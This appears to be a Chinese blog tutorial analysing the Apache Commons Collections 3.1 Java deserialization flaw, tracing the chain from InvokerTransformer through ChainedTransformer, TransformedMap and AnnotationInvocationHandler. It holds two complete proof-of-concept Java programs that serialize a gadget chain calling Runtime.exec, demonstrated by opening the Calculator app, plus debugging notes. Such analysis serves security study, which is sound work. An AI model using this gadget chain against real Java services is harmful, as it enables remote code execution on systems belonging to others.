漏洞背景
Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。
Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。
作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发,而正是因为在大量web应用程序中这些类的实现以及方法的调用,导致了反序列化用漏洞的普遍性和严重性。
漏洞组件下载
https://mvnrepository.com/artifact/commons-collections/commons-collections/3.1
payload
1 | import org.apache.commons.collections.Transformer; |
漏洞描述
特殊接口:InvokerTransformer
实现该接口的类能够通过Java反射机制来调用任意函数
java反射机制
反射机制的实现 主要通过 操作java.lang.Class
类
提供的功能主要有1
2
3
4在运行时判断任意一个对象所属的类;
在运行时构造任意一个类的对象;
在运行时判断任意一个类所具有的成员变量和方法;
在运行时调用任意一个对象的方法;生成动态代理。
反射机制的优点就是可以实现动态创建对象和编译
使用步骤
- 获取目标类型的Class对象
- 通过 Class 对象分别获取Constructor类对象、Method类对象 & Field 类对象
- 通过 Constructor类对象、Method类对象 & Field类对象分别获取类的构造函数、方法&属性的具体信息,并进行后续操作
比如
/org/apache/commons/collections/functors/InvokerTransformer.class
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20public class InvokerTransformer implements Transformer, Serializable {
...
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
可以看到,这里的transform方法利用反射类进行了任意方法的调用1
2
3Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
this.iMethodName
,this.iParamTypes
,this.iArgs
都是可控成员,分别对应方法,参数类型,参数
不过,仅通过该类是无法直接执行命令的,我们知道在java里,不像是php中可以直接调用函数比如system的,在java里执行命令需要先调用对象,比如Runtime.getRuntime().exec(cmd)
接下来我们看看另一个对象/org/apache/commons/collections/functors/ChainedTransformer.class
1 | public class ChainedTransformer implements Transformer, Serializable { |
该类接受一个Transformer
类型数组的参数iTransformers
transform
函数的意思是逐个调用数组里的Transformer
类型的对象的transform
函数,并且将返回结果object
当作下一次传入transform
函数的参数
于是我们需要在反序列化的时候找到一个能触发ChainedTransformer
的transform
方法的地方
那么接着看/org/apache/commons/collections/map/TransformedMap.class
在 TransformedMap
中的 checkSetValue()
方法中
这里调用了valueTransformer
的transorm
方法
利用Map.Entry
取得第一个值,调用修改值的函数,会触发下面的setValue()
代码
1 | public Object setValue(Object value) { |
从而触发checkSetValue()
payload debug分析
首先定义一个Transformer
类型的数组/org/apache/commons/collections/functors/ConstantTransformer.class
返回Runtime对象
然后在/org/apache/commons/collections/functors/InvokerTransformer.class
进行三个赋值。分别给method
,type
以及Args
进行赋值
接着进入Transformer transformerChain = new ChainedTransformer(transformers);
将transformers
数组传入
返回值为iTransformers
数组
接着进入TransformedMap.decorate
跟到
传入valueTransformer
即是iTransformers
数组
跟入TransformedMap
方法
跟到setValue1
2
3
4public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return this.entry.setValue(value);
}
跟进checkSetValue1
2
3protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
此时this.valueTransformer
就是ChianedTransformer
类
这样,就成功触发了ChianedTransformer.transform()
接下来进入transform
获取下标为1的Runtime
然后调用InvokerTransformer
的transform
方法
传入method->getMethod
iArg->getRuntime
通过反射获取getRuntime
然后下标为2
1 | method.invoke()方法,用来执行某个的对象的目标方法 |
下标为3时,通过传入exec方法,反射调用Runtime
至此 执行完成
模拟一个反序列化1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.Map;
public class EvalObject {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /Applications/Calculator.app/"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChain
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
FileOutputStream fileOutputStream = new FileOutputStream("serialize");
ObjectOutputStream obj = new ObjectOutputStream(fileOutputStream);
obj.writeObject(outerMap);
obj.close();
FileInputStream fileInputStream = new FileInputStream("serialize");
ObjectInputStream inp = new ObjectInputStream(fileInputStream);
Map result = (TransformedMap)inp.readObject();
inp.close();
System.out.println(result);
//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
}
}
触发readObj()
不过上面的代码还需要我们手动去调用setValue方法才能触发ChianedTransformer
,能否在执行readObj的时候就直接触发setValue呢
考虑一个AnnotationInvocationHandler
类,jkd1.7自带的
在/rt.jar!/sun/reflect/annotation/AnnotationInvocationHandler.class
我们看一看他重写的这个readObj方法1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private static final long serialVersionUID = 6182022883658399397L;
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
private transient volatile Method[] memberMethods = null;
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
...
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException
{
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
...
可以看到 这里直接为我们提供了一个Map
类型的成员memberValues
同时对memberValues
中的每一项都调用了setValue
,这完全达到了我们的目的
于是理一下思路1
2
3
4TransformedMap: 利用其value修改时触发checksetvalue()的transform()的特性
ChainedTransformer: 会循环执行我们定义的Transformer,并将结果当作下一次执行的参数传入
Transformer: 初始化要执行的命令
AnnotationInvocationHandler: 对memberValues的每一项执行setValue
- 首先构造
ChainedTransformer
的成员变量 - 生成
TransformedMap
实例 - 实例化
AnnotationInvocationHandler
并传入TransformedMap
实例 readObj
触发ChainedTransformer
的transform
payload1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.reflect.annotation.*;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class EvalObject {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /Applications/Calculator.app/"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChain
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//加载类
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//获取构造方法
Constructor ct = cl.getDeclaredConstructor(Class.class, Map.class);
ct.setAccessible(true);
Object instance = ct.newInstance(Target.class, outerMap);
//序列化
FileOutputStream fileOutputStream = new FileOutputStream("serialize");
ObjectOutputStream obj = new ObjectOutputStream(fileOutputStream);
obj.writeObject(instance);
obj.close();
//反序列化
FileInputStream fileInputStream = new FileInputStream("serialize");
ObjectInputStream inp = new ObjectInputStream(fileInputStream);
Object result = inp.readObject();
inp.close();
System.out.println(result);
}
}
from@Seebug
End
Java好难🤯。。。
Referer
Java反射:这是一份全面 & 详细的 Java反射机制 学习指南
java反序列化学习之apache-commons-collections
Java反序列化漏洞分析
浅显易懂的JAVA反序列化入门